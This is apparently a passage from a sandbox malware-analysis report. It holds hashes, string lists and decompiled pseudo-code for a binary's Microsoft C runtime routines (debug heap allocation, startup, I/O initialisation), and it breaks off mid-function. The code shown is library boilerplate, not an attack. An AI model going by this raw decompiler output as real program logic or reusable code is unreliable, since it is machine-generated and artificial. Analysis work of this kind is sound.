API ID: Console$File$FindSectionWrite$ProfileTime$CommNamePrivate$AtomCreateFreeInputVolume$AliasCloseGlobalLengthLocalLockMountMoveNamedNextPipePointProcessSystemTypeWait$BinaryCriticalDeleteDeviceDirectoryEnumEnvironmentErrorExesFormatsHandleHeapInfoLastMaskModeOverlappedPathProcess32ResourceResultSemaphoreStateStringStringsTerminateThreadUnregisterVersion__invalid_parameterlstrcmp$AddressAdjustmentAliasesApisAttributesBreakBufferBuildCancelChangeCharCharacterCompletionCompressedConditionConfigContextCountCurrentDateDebugDefaultDefineDriveEnterEventEventsExchangeExecutionFlushFullInitializeInterlockedLanguageMailslotModuleMutexNamesNotificationNumberObjectOpenOutputParametersPeekPortProcQueryResetShortSizeStructTapeTimerTransactTransmitUnlockUpdateWaitableWatchWindows__atof_l__dosmaperr__realloc_dbg__vsprintf_l__vswprintf__wcstoi64__wrename_atexit_ferror_lopen_malloc_memset_putc_realloclstrcpylstrcpyn
String ID: 0.0$Cat tafugozeyab jumulizodunef sazu buxonisiz$Dovi muyafohonifu zapojubocuwuh vuleh$Felerah cuhozazikesuzil$Hetitanutaf bebucoreko$Hiwejanoji$Losufic vahafoj sovoculoziyaja dewofic$Piruvora$Pusazide$Vaguxabufereg godid vefas nehesuh$Varihokegal vecu sahavujuv nemociyanuha lotom$Vozecitak mov$Wuhesuvugocu regacavac$Xemov yoxociy pogi$bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi$cbH$diponusohivasohopo$gukafipa$helecebekuxesiwiwifomipuwudokatupibej$hijaduvinijebup$hukujid$lakusoruhajunajiziheruxazoluyoloxujumazomeke$mawecamaxe$mocisacatenu$pahubahiwucijucemipapujivojadij$rixawibonagomukirak$suxehecumugilodagaduvixevexirificiseracipefi$tifikekacejininomizewidixazodafetisutaxewuy$tivomifuzasesufaholivikasekalene$tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv$wapejan$wovag
API String ID: 522183021-367846507
Opcode ID: 718b702f02925ba52c964574c40754f5b409aff71ad7eb742f52a68ed35a38c3
Instruction ID: dd4b339b44ea9432a3a1785d2b54db3e40daa2706d841f631f0bb3d20a915a6e
Opcode Fuzzy Hash: 718b702f02925ba52c964574c40754f5b409aff71ad7eb742f52a68ed35a38c3
Instruction Fuzzy Hash: 8CF1EA76406664BBC311ABA1AE4CDDF3F6CEF4A352B00442AF64AE5070D7385645CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA97, Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0041BA97() {
				signed int _t79;
				signed int _t80;
				intOrPtr _t81;
				signed int _t97;
				void* _t102;
				void* _t103;
				signed int _t105;
				void* _t109;
				void* _t110;
				intOrPtr _t112;
				void* _t115;
				void* _t116;
				signed int _t122;
				signed int _t123;
				intOrPtr _t126;
				signed int _t127;
				signed int _t157;
				intOrPtr _t158;
				intOrPtr _t159;
				signed int _t169;
				signed int _t170;
				void* _t171;
				void* _t173;
				void* _t175;
				void* _t177;
				void* _t178;
				void* _t188;
				void* _t192;

				_t178 = _t177 + 4;
				 *(_t175 - 4) = 0;
				if( *0x55ac24 > 0) {
					_t112 =  *0x55ac24; // 0x0
					_t188 =  *0x55ac0c - _t112 - 1; // 0x0
					if(_t188 != 0) {
						_t169 =  *0x55ac0c; // 0x0
						_t170 = _t169 + 1;
						__eflags = _t170;
						 *0x55ac0c = _t170;
					} else {
						if(E0041CD70() == 0) {
							_push(L"_CrtCheckMemory()");
							_push(0);
							_push(0x179);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
							_push(2);
							_t115 = L0041E410();
							_t178 = _t178 + 0x14;
							if(_t115 == 1) {
								asm("int3");
							}
						}
						 *0x55ac0c = 0;
					}
				}
				_t79 =  *0x44020c; // 0x34
				 *(_t175 - 0x28) = _t79;
				if( *0x440210 != 0xffffffff) {
					_t192 =  *(_t175 - 0x28) -  *0x440210; // 0xffffffff
					if(_t192 == 0) {
						asm("int3");
					}
				}
				if( *0x44105c == 0) {
					L19:
					__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
					if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
						_t105 =  *0x440204; // 0x1
						__eflags = _t105 & 0x00000001;
						if((_t105 & 0x00000001) == 0) {
							 *(_t175 - 0x1c) = 1;
						}
					}
					__eflags =  *((intOrPtr*)(_t175 + 8)) - 0xffffffbc;
					if( *((intOrPtr*)(_t175 + 8)) <= 0xffffffbc) {
						__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 4;
						if(( *(_t175 + 0xc) & 0x0000ffff) != 4) {
							__eflags =  *(_t175 + 0xc) - 1;
							if( *(_t175 + 0xc) != 1) {
								__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
								if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
									__eflags =  *(_t175 + 0xc) - 3;
									if( *(_t175 + 0xc) != 3) {
										_t102 = L00429610(1, 0, 0, 0, "%s", "Error: memory allocation: bad memory block type.\n");
										_t178 = _t178 + 0x18;
										__eflags = _t102 - 1;
										if(_t102 == 1) {
											asm("int3");
										}
									}
								}
							}
						}
						 *((intOrPtr*)(_t175 - 0x2c)) =  *((intOrPtr*)(_t175 + 8)) + 0x24;
						_t80 = E00429550(_t116, _t171, _t173,  *((intOrPtr*)(_t175 - 0x2c))); // executed
						 *(_t175 - 0x24) = _t80;
						__eflags =  *(_t175 - 0x24);
						if( *(_t175 - 0x24) != 0) {
							_t122 =  *0x44020c; // 0x34
							_t123 = _t122 + 1;
							 *0x44020c = _t123;
							__eflags =  *(_t175 - 0x1c);
							if( *(_t175 - 0x1c) == 0) {
								__eflags = (_t123 | 0xffffffff) -  *0x55ac04 -  *((intOrPtr*)(_t175 + 8));
								if((_t123 | 0xffffffff) -  *0x55ac04 <=  *((intOrPtr*)(_t175 + 8))) {
									 *0x55ac04 = 0xffffffff;
								} else {
									_t159 =  *0x55ac04; // 0x383e
									 *0x55ac04 = _t159 +  *((intOrPtr*)(_t175 + 8));
								}
								_t81 =  *0x55ac1c; // 0x1fc8
								 *0x55ac1c = _t81 +  *((intOrPtr*)(_t175 + 8));
								_t126 =  *0x55ac1c; // 0x1fc8
								__eflags = _t126 -  *0x55ac10; // 0x2376
								if(__eflags > 0) {
									_t158 =  *0x55ac1c; // 0x1fc8
									 *0x55ac10 = _t158;
								}
								__eflags =  *0x55ac14;
								if( *0x55ac14 == 0) {
									 *0x55ac08 =  *(_t175 - 0x24);
								} else {
									_t97 =  *0x55ac14; // 0x9f1318
									 *(_t97 + 4) =  *(_t175 - 0x24);
								}
								_t127 =  *0x55ac14; // 0x9f1318
								 *( *(_t175 - 0x24)) = _t127;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) =  *(_t175 + 0x10);
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) =  *((intOrPtr*)(_t175 + 0x14));
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) =  *(_t175 + 0xc);
								 *( *(_t175 - 0x24) + 0x18) =  *(_t175 - 0x28);
								 *0x55ac14 =  *(_t175 - 0x24);
							} else {
								 *( *(_t175 - 0x24)) = 0;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) = 0;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) = 0xfedcbabc;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) = 3;
								 *( *(_t175 - 0x24) + 0x18) = 0;
							}
							E0041B5A0(_t171,  *(_t175 - 0x24) + 0x1c,  *0x440214 & 0x000000ff, 4);
							E0041B5A0(_t171,  *(_t175 - 0x24) +  *((intOrPtr*)(_t175 + 8)) + 0x20,  *0x440214 & 0x000000ff, 4);
							E0041B5A0(_t171,  *(_t175 - 0x24) + 0x20,  *0x440217 & 0x000000ff,  *((intOrPtr*)(_t175 + 8)));
							_t157 =  *(_t175 - 0x24) + 0x20;
							__eflags = _t157;
							 *(_t175 - 0x20) = _t157;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
						}
					} else {
						_t103 = L00429610(1, 0, 0, 0, "Invalid allocation size: %Iu bytes.\n",  *((intOrPtr*)(_t175 + 8)));
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
					}
					L46:
					 *(_t175 - 4) = 0xfffffffe;
					E0041BDE0();
					 *[fs:0x0] =  *((intOrPtr*)(_t175 - 0x10));
					return  *(_t175 - 0x20);
				}
				_t109 =  *0x44105c(1, 0,  *((intOrPtr*)(_t175 + 8)),  *(_t175 + 0xc),  *(_t175 - 0x28),  *(_t175 + 0x10),  *((intOrPtr*)(_t175 + 0x14)));
				_t178 = _t178 + 0x1c;
				if(_t109 != 0) {
					goto L19;
				}
				if( *(_t175 + 0x10) == 0) {
					_t110 = L00429610(0, 0, 0, 0, "%s", "Client hook allocation failure.\n");
					__eflags = _t110 - 1;
					if(_t110 == 1) {
						asm("int3");
					}
					L18:
					goto L46;
				}
				_push( *((intOrPtr*)(_t175 + 0x14)));
				if(L00429610(0, 0, 0, 0, "Client hook allocation failure at file %hs line %d.\n",  *(_t175 + 0x10)) == 1) {
					asm("int3");
				}
				goto L18;
			}

0x0041ba97
0x0041ba9a
0x0041baa8
0x0041baaa
0x0041bab2
0x0041bab8
0x0041baf0
0x0041baf6
0x0041baf6
0x0041baf9
0x0041baba
0x0041bac1
0x0041bac3
0x0041bac8
0x0041baca
0x0041bacf
0x0041bad4
0x0041bad6
0x0041badb
0x0041bae1
0x0041bae3
0x0041bae3
0x0041bae1
0x0041bae4
0x0041bae4
0x0041bab8
0x0041baff
0x0041bb04
0x0041bb0e
0x0041bb13
0x0041bb19
0x0041bb1b
0x0041bb1b
0x0041bb19
0x0041bb23
0x0041bb9a
0x0041bba3
0x0041bba6
0x0041bba8
0x0041bbad
0x0041bbb0
0x0041bbb2
0x0041bbb2
0x0041bbb0
0x0041bbb9
0x0041bbbd
0x0041bbf5
0x0041bbf8
0x0041bbfa
0x0041bbfe
0x0041bc09
0x0041bc0c
0x0041bc0e
0x0041bc12
0x0041bc26
0x0041bc2b
0x0041bc2e
0x0041bc31
0x0041bc33
0x0041bc33
0x0041bc31
0x0041bc12
0x0041bc0c
0x0041bbfe
0x0041bc3a
0x0041bc41
0x0041bc49
0x0041bc4c
0x0041bc50
0x0041bc60
0x0041bc66
0x0041bc69
0x0041bc6f
0x0041bc73
0x0041bcc7
0x0041bcca
0x0041bcdd
0x0041bccc
0x0041bccc
0x0041bcd5
0x0041bcd5
0x0041bce7
0x0041bcef
0x0041bcf4
0x0041bcfa
0x0041bd00
0x0041bd02
0x0041bd08
0x0041bd08
0x0041bd0e
0x0041bd15
0x0041bd27
0x0041bd17
0x0041bd17
0x0041bd1f
0x0041bd1f
0x0041bd30
0x0041bd36
0x0041bd3b
0x0041bd48
0x0041bd51
0x0041bd5a
0x0041bd63
0x0041bd6c
0x0041bd72
0x0041bc75
0x0041bc78
0x0041bc81
0x0041bc8b
0x0041bc95
0x0041bca2
0x0041bca8
0x0041bcb2
0x0041bcb2
0x0041bd89
0x0041bda6
0x0041bdc1
0x0041bdcc
0x0041bdcc
0x0041bdcf
0x0041bc52
0x0041bc55
0x0041bc55
0x0041bbbf
0x0041bbd0
0x0041bbd8
0x0041bbdb
0x0041bbdd
0x0041bbdd
0x0041bbe1
0x0041bbe1
0x0041bdd2
0x0041bdd2
0x0041bdd9
0x0041bdf1
0x0041bdff
0x0041bdff
0x0041bb3d
0x0041bb43
0x0041bb48
0x00000000
0x00000000
0x0041bb4e
0x0041bb87
0x0041bb8f
0x0041bb92
0x0041bb94
0x0041bb94
0x0041bb95
0x00000000
0x0041bb95
0x0041bb53
0x0041bb70
0x0041bb72
0x0041bb72
0x00000000

APIs

__CrtCheckMemory.LIBCMTD ref: 0041BABA
__heap_alloc_base.LIBCMTD ref: 0041BC41
_memset.LIBCMT ref: 0041BD89
_memset.LIBCMT ref: 0041BDA6
_memset.LIBCMT ref: 0041BDC1

Strings

Error: memory allocation: bad memory block type., xrefs: 0041BC14
Client hook allocation failure., xrefs: 0041BB75
Invalid allocation size: %Iu bytes., xrefs: 0041BBC3
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041BACF
_CrtCheckMemory(), xrefs: 0041BAC3
Client hook allocation failure at file %hs line %d., xrefs: 0041BB58

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Error: memory allocation: bad memory block type.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4254127243-2462871736
Opcode ID: d8bff7a2fa733bffd1155fe19b24efda4750e728aeffec732f1ebbd5b47763ad
Instruction ID: e4c226116426679bccaafd65935d70f8ea5331ce713ab65ef16c9fe3fb7f1325
Opcode Fuzzy Hash: d8bff7a2fa733bffd1155fe19b24efda4750e728aeffec732f1ebbd5b47763ad
Instruction Fuzzy Hash: 2FA16CB4A00208DBDB14CF54DA95BEA77F1FB48304F20825AE9156B3D1D779AD80CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B735, Relevance: 15.1, APIs: 10, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E0041B735() {
				void* _t21;
				void* _t22;
				void* _t25;
				void* _t29;
				intOrPtr _t30;
				intOrPtr _t34;
				void* _t44;
				void* _t46;
				void* _t54;
				void* _t56;
				void* _t58;
				void* _t60;
				void* _t61;
				void* _t62;
				void* _t74;

				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				 *((intOrPtr*)(_t58 - 0x6c)) = E0041B8D0();
				_t21 = E00429060(_t46, 1); // executed
				_t61 = _t60 + 4;
				if(_t21 == 0) {
					E0041B8A0(0x1c);
					_t61 = _t61 + 4; // executed
				}
				_t22 = L00424850(_t46); // executed
				if(_t22 == 0) {
					E0041B8A0(0x10);
					_t61 = _t61 + 4;
				}
				_push(1);
				E0041DBA0(_t46);
				_t62 = _t61 + 4;
				E00428FE0();
				 *((intOrPtr*)(_t58 - 4)) = 1;
				_t25 = E00426C10(); // executed
				if(_t25 < 0) {
					L00426150(_t44, _t46, _t54, _t56, 0x1b);
					_t62 = _t62 + 4;
				}
				 *0x55c984 = E00428FD0();
				 *0x55abfc = E00428F20(_t44, _t54, _t56);
				if(E00428B30() < 0) {
					L00426150(_t44, _t46, _t54, _t56, 8);
					_t62 = _t62 + 4; // executed
				}
				_t29 = E00428990(_t44, _t54, _t56); // executed
				if(_t29 < 0) {
					L00426150(_t44, _t46, _t54, _t56, 9);
					_t62 = _t62 + 4;
				}
				_t30 = E00426030(_t46, 1); // executed
				 *((intOrPtr*)(_t58 - 0x64)) = _t30;
				if( *((intOrPtr*)(_t58 - 0x64)) != 0) {
					L00426150(_t44,  *((intOrPtr*)(_t58 - 0x64)), _t54, _t56,  *((intOrPtr*)(_t58 - 0x64)));
				}
				 *((intOrPtr*)(_t58 - 0x68)) = E004288F0();
				if(( *(_t58 - 0x34) & 0x00000001) == 0) {
					 *(_t58 - 0x7c) = 0xa;
				} else {
					 *(_t58 - 0x7c) =  *(_t58 - 0x30) & 0x0000ffff;
				}
				 *((intOrPtr*)(_t58 - 0x70)) = E00419F67( *((intOrPtr*)(_t58 - 0x68)), _t74, 0x400000, 0,  *((intOrPtr*)(_t58 - 0x68)),  *(_t58 - 0x7c));
				if( *((intOrPtr*)(_t58 - 0x6c)) == 0) {
					E004260D0( *((intOrPtr*)(_t58 - 0x70)));
				}
				E00426110();
				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				_t34 =  *((intOrPtr*)(_t58 - 0x70));
				 *[fs:0x0] =  *((intOrPtr*)(_t58 - 0x10));
				return _t34;
			}

0x0041b735
0x0041b741
0x0041b746
0x0041b74b
0x0041b750
0x0041b754
0x0041b759
0x0041b759
0x0041b75c
0x0041b763
0x0041b767
0x0041b76c
0x0041b76c
0x0041b76f
0x0041b771
0x0041b776
0x0041b779
0x0041b77e
0x0041b785
0x0041b78c
0x0041b790
0x0041b795
0x0041b795
0x0041b79d
0x0041b7a7
0x0041b7b3
0x0041b7b7
0x0041b7bc
0x0041b7bc
0x0041b7bf
0x0041b7c6
0x0041b7ca
0x0041b7cf
0x0041b7cf
0x0041b7d4
0x0041b7dc
0x0041b7e3
0x0041b7e9
0x0041b7ee
0x0041b7f6
0x0041b7ff
0x0041b80a
0x0041b801
0x0041b805
0x0041b805
0x0041b825
0x0041b82c
0x0041b832
0x0041b832
0x0041b837
0x0041b83c
0x0041b884
0x0041b88a
0x0041b898

APIs

_check_managed_app.LIBCMTD ref: 0041B73C
__heap_init.LIBCMTD ref: 0041B746

Part of subcall function 00429060: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B74B,00000001), ref: 00429076

_fast_error_exit.LIBCMTD ref: 0041B754

Part of subcall function 0041B8A0: ___crtExitProcess.LIBCMTD ref: 0041B8C4

_fast_error_exit.LIBCMTD ref: 0041B767
__RTC_Initialize.LIBCMTD ref: 0041B779
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B7A2
___wsetargv.LIBCMTD ref: 0041B7AC
__wsetenvp.LIBCMTD ref: 0041B7BF
__cinit.LIBCMTD ref: 0041B7D4
__wwincmdln.LIBCMTD ref: 0041B7F1

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3184702096-0
Opcode ID: d19e3f19ae65938c1c5b9171449bff0eba6b02fb76e464ce98838d7ad94e4172
Instruction ID: d8884155e56b90339ca3d3f18c25ce58e28de8b7ea128000cb4e5ac7025ff0e4
Opcode Fuzzy Hash: d19e3f19ae65938c1c5b9171449bff0eba6b02fb76e464ce98838d7ad94e4172
Instruction Fuzzy Hash: 7331C7B1E013189AEB00BBF2B90279E7264EF5071CF50012FF9195B283FB799441CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00426C10, Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00426C10() {
				void* _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				struct _STARTUPINFOA _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				int _v116;
				signed char* _v120;
				void* _v124;
				void** _v128;
				void** _v132;
				int _v140;
				long _v144;
				signed int _t166;
				signed int _t170;
				signed int _t175;
				signed int _t188;
				signed int _t206;
				void** _t209;
				signed int _t321;
				void* _t322;
				intOrPtr _t323;
				void* _t324;

				_push(0xfffffffe);
				_push(0x43df80);
				_push(E0041E880);
				_push( *[fs:0x0]);
				_t323 = _t322 + 0xffffff84;
				_t166 =  *0x440354; // 0xd0648bec
				_v12 = _v12 ^ _t166;
				_push(_t166 ^ _t321);
				 *[fs:0x0] =  &_v20;
				_v28 = _t323;
				_v8 = 0;
				GetStartupInfoA( &_v100);
				_v8 = 0xfffffffe;
				_t170 = L0041BED0(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0x88); // executed
				_t324 = _t323 + 0x14;
				_v128 = _t170;
				if(_v128 != 0) {
					 *0x55b840 = _v128;
					 *0x55b82c = 0x20;
					while(_v128 <  *0x55b840 + 0x800) {
						_v128[1] = 0;
						 *_v128 = 0xffffffff;
						_v128[1] = 0xa;
						_v128[2] = 0;
						_v128[9] = _v128[9] & 0x00000080;
						_v128[9] = _v128[9] & 0x0000007f;
						_v128[9] = 0xa;
						_v128[9] = 0xa;
						_v128[0xe] = 0;
						_v128[0xd] = 0;
						_v128 =  &(_v128[0x10]);
					}
					if((_v100.cbReserved2 & 0x0000ffff) == 0 || _v100.lpReserved2 == 0) {
						L34:
						_v112 = 0;
						while(_v112 < 3) {
							_v128 = (_v112 << 6) +  *0x55b840;
							if( *_v128 == 0xffffffff ||  *_v128 == 0xfffffffe) {
								_v128[1] = 0x81;
								if(_v112 != 0) {
									asm("sbb edx, edx");
									_v144 =  ~(_v112 - 1) + 0xfffffff5;
								} else {
									_v144 = 0xfffffff6;
								}
								_v124 = GetStdHandle(_v144);
								if(_v124 == 0xffffffff || _v124 == 0) {
									L52:
									_v128[1] = _v128[1] | 0x00000040;
									 *_v128 = 0xfffffffe;
									goto L53;
								} else {
									_v108 = GetFileType(_v124);
									if(_v108 == 0) {
										goto L52;
									} else {
										 *_v128 = _v124;
										if((_v108 & 0x000000ff) != 2) {
											if((_v108 & 0x000000ff) == 3) {
												_v128[1] = _v128[1] | 0x00000008;
											}
										} else {
											_v128[1] = _v128[1] | 0x00000040;
										}
										_t188 = E0042C230( &(_v128[3]), 0xfa0);
										_t324 = _t324 + 8;
										if(_t188 != 0) {
											_v128[2] = _v128[2] + 1;
											L53:
											goto L55;
										} else {
											_t175 = _t188 | 0xffffffff;
										}
									}
								}
							} else {
								_v128[1] = _v128[1] | 0x00000080;
								L55:
								_v112 = _v112 + 1;
								continue;
							}
							goto L57;
						}
						SetHandleCount( *0x55b82c);
						_t175 = 0;
					} else {
						_v116 =  *(_v100.lpReserved2);
						_v120 = _v100.lpReserved2 + 4;
						_v132 =  &(_v120[_v116]);
						if(_v116 >= 0x800) {
							_v140 = 0x800;
						} else {
							_v140 = _v116;
						}
						_v116 = _v140;
						_v104 = 1;
						while( *0x55b82c < _v116) {
							_t209 = L0041BED0(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0xc0);
							_t324 = _t324 + 0x14;
							_v128 = _t209;
							if(_v128 != 0) {
								 *((intOrPtr*)(0x55b840 + _v104 * 4)) = _v128;
								 *0x55b82c =  *0x55b82c + 0x20;
								while(_v128 <  *((intOrPtr*)(0x55b840 + _v104 * 4)) + 0x800) {
									_v128[1] = 0;
									 *_v128 = 0xffffffff;
									_v128[1] = 0xa;
									_v128[2] = 0;
									_v128[9] = _v128[9] & 0x00000080;
									_v128[9] = 0xa;
									_v128[9] = 0xa;
									_v128[0xe] = 0;
									_v128[0xd] = 0;
									_v128 =  &(_v128[0x10]);
								}
								_v104 = _v104 + 1;
								continue;
							} else {
								_v116 =  *0x55b82c;
							}
							break;
						}
						_v112 = 0;
						while(_v112 < _v116) {
							if( *_v132 == 0xffffffff ||  *_v132 == 0xfffffffe || ( *_v120 & 0x00000001) == 0 || ( *_v120 & 0x00000008) == 0 && GetFileType( *_v132) == 0) {
								L33:
								_v112 = _v112 + 1;
								_v120 =  &(_v120[1]);
								_v132 =  &(_v132[1]);
								continue;
							} else {
								_v128 = ((_v112 & 0x0000001f) << 6) +  *((intOrPtr*)(0x55b840 + (_v112 >> 5) * 4));
								 *_v128 =  *_v132;
								_v128[1] =  *_v120;
								_t206 = E0042C230( &(_v128[3]), 0xfa0);
								_t324 = _t324 + 8;
								if(_t206 != 0) {
									_v128[2] =  *((intOrPtr*)(_v128 + 8)) + 1;
									goto L33;
								} else {
									_t175 = _t206 | 0xffffffff;
								}
							}
							goto L57;
						}
						goto L34;
					}
				} else {
					_t175 = _t170 | 0xffffffff;
				}
				L57:
				 *[fs:0x0] = _v20;
				return _t175;
			}

0x00426c15
0x00426c17
0x00426c1c
0x00426c27
0x00426c28
0x00426c2e
0x00426c33
0x00426c38
0x00426c3c
0x00426c42
0x00426c45
0x00426c50
0x00426c56
0x00426c9b
0x00426ca0
0x00426ca3
0x00426caa
0x00426cb7
0x00426cbd
0x00426cd2
0x00426ce4
0x00426ceb
0x00426cf4
0x00426cfb
0x00426d0d
0x00426d1b
0x00426d21
0x00426d28
0x00426d2f
0x00426d39
0x00426ccf
0x00426ccf
0x00426d45
0x00426f43
0x00426f43
0x00426f55
0x00426f6b
0x00426f74
0x00426f85
0x00426f8d
0x00426fa3
0x00426fa8
0x00426f8f
0x00426f8f
0x00426f8f
0x00426fbb
0x00426fc2
0x00427059
0x00427066
0x0042706c
0x00000000
0x00426fd2
0x00426fdc
0x00426fe3
0x00000000
0x00426fe5
0x00426feb
0x00426ff9
0x00427019
0x00427028
0x00427028
0x00426ffb
0x00427008
0x00427008
0x00427037
0x0042703c
0x00427041
0x00427054
0x00427072
0x00000000
0x00427043
0x00427043
0x00427043
0x00427041
0x00426fe3
0x00427074
0x00427083
0x00427086
0x00426f52
0x00000000
0x00426f52
0x00000000
0x00426f74
0x00427092
0x00427098
0x00426d55
0x00426d5a
0x00426d63
0x00426d6c
0x00426d76
0x00426d83
0x00426d78
0x00426d7b
0x00426d7b
0x00426d93
0x00426d96
0x00426da8
0x00426dc7
0x00426dcc
0x00426dcf
0x00426dd6
0x00426deb
0x00426dfa
0x00426e0a
0x00426e21
0x00426e28
0x00426e31
0x00426e38
0x00426e4a
0x00426e50
0x00426e57
0x00426e5e
0x00426e68
0x00426e07
0x00426e07
0x00426da5
0x00000000
0x00426dd8
0x00426ddd
0x00426ddd
0x00000000
0x00426dd6
0x00426e73
0x00426e97
0x00426ea9
0x00426f3e
0x00426e82
0x00426e8b
0x00426e94
0x00000000
0x00426ee1
0x00426ef7
0x00426f02
0x00426f0c
0x00426f1b
0x00426f20
0x00426f25
0x00426f3b
0x00000000
0x00426f27
0x00426f27
0x00426f27
0x00426f25
0x00000000
0x00426ea9
0x00000000
0x00426e97
0x00426cac
0x00426cac
0x00426cac
0x0042709a
0x0042709d
0x004270ab

APIs

GetStartupInfoA.KERNEL32(?), ref: 00426C50
GetFileType.KERNEL32(?), ref: 00426ED7

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c, xrefs: 00426C90, 00426DBC

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: FileInfoStartupType
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
API String ID: 3016745765-4097262939
Opcode ID: eb9592f8529def29e75df1fe6deee71321e68efbe8d0f1b34d23d1fc0178ceff
Instruction ID: 2299450a18c1a3b756df59988ab12781c3c8ae3f36936035edbdf5bbe62030f2
Opcode Fuzzy Hash: eb9592f8529def29e75df1fe6deee71321e68efbe8d0f1b34d23d1fc0178ceff
Instruction Fuzzy Hash: 2DE15874E04218CFDB20CFA8D894BADFBB1BB49314F65825ED8256B392C7359806CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0041BE0E, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E0041BE0E(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t25;
				intOrPtr _t28;
				intOrPtr _t29;
				void* _t34;
				void* _t35;
				void* _t36;
				intOrPtr _t38;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t50;

				_t47 = __esi;
				_t46 = __edi;
				_t36 = __ecx;
				_t35 = __ebx;
				asm("sbb eax, eax");
				_t25 = 0xffffffe0 /  *(_t48 + 8) + 1;
				 *((intOrPtr*)(_t48 - 8)) = _t25;
				if(_t25 == 0) {
					_push(L"(_HEAP_MAXREQ / nNum) >= nSize");
					_push(0);
					_push(0x248);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
					_push(2);
					_t34 = L0041E410();
					_t50 = _t50 + 0x14;
					if(_t34 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t48 - 8)) != 0) {
					 *(_t48 + 0xc) =  *(_t48 + 0xc) *  *(_t48 + 8);
					_t38 =  *0x55ada0; // 0x0
